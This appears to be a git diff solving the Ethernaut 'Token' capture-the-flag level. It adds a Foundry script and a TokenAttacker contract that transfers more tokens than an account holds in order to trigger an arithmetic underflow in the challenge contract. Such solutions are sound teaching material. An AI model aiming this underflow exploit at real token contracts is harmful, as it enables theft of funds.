complete 05-Token

script/solutions/05-Token.s.sol

@@ -5,6 +5,7 @@ import {Script, console2} from "forge-std/Script.sol";
 import {EthernautHelper} from "../setup/EthernautHelper.sol";
 
 // NOTE You can import your helper contracts & create interfaces here
+import "../../src/05-TokenAttacker.sol";
 
 contract TokenSolution is Script, EthernautHelper {
     address constant LEVEL_ADDRESS = 0x478f3476358Eb166Cb7adE4666d04fbdDB56C407;
@@ -16,8 +17,11 @@ contract TokenSolution is Script, EthernautHelper {
         address challengeInstance = createInstance(LEVEL_ADDRESS);
 
         // YOUR SOLUTION HERE
-
-
+        TokenAttacker tokenAttacker = new TokenAttacker(challengeInstance);
+        (, bytes memory returnData) = challengeInstance.call(abi.encodeWithSignature("totalSupply()"));
+        uint total = abi.decode(returnData, (uint));
+        console2.log("totalSupply", total);
+        tokenAttacker.attack(20999980);
 
         // SUBMIT CHALLENGE. (DON'T EDIT)
         bool levelSuccess = submitInstance(challengeInstance);

src/05-TokenAttacker.sol

@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.21;
+
+interface IToken {
+    function transfer(address _to, uint _value) external returns (bool);
+    function balanceOf(address _owner) external view returns (uint balance);
+}
+
+contract TokenAttacker {
+    address public challengeInstance;
+
+    constructor(address _challengeInstance) {
+        challengeInstance = _challengeInstance;
+    }
+
+    function attack(uint amount) external {
+        IToken(challengeInstance).transfer(msg.sender, amount);
+    }
+}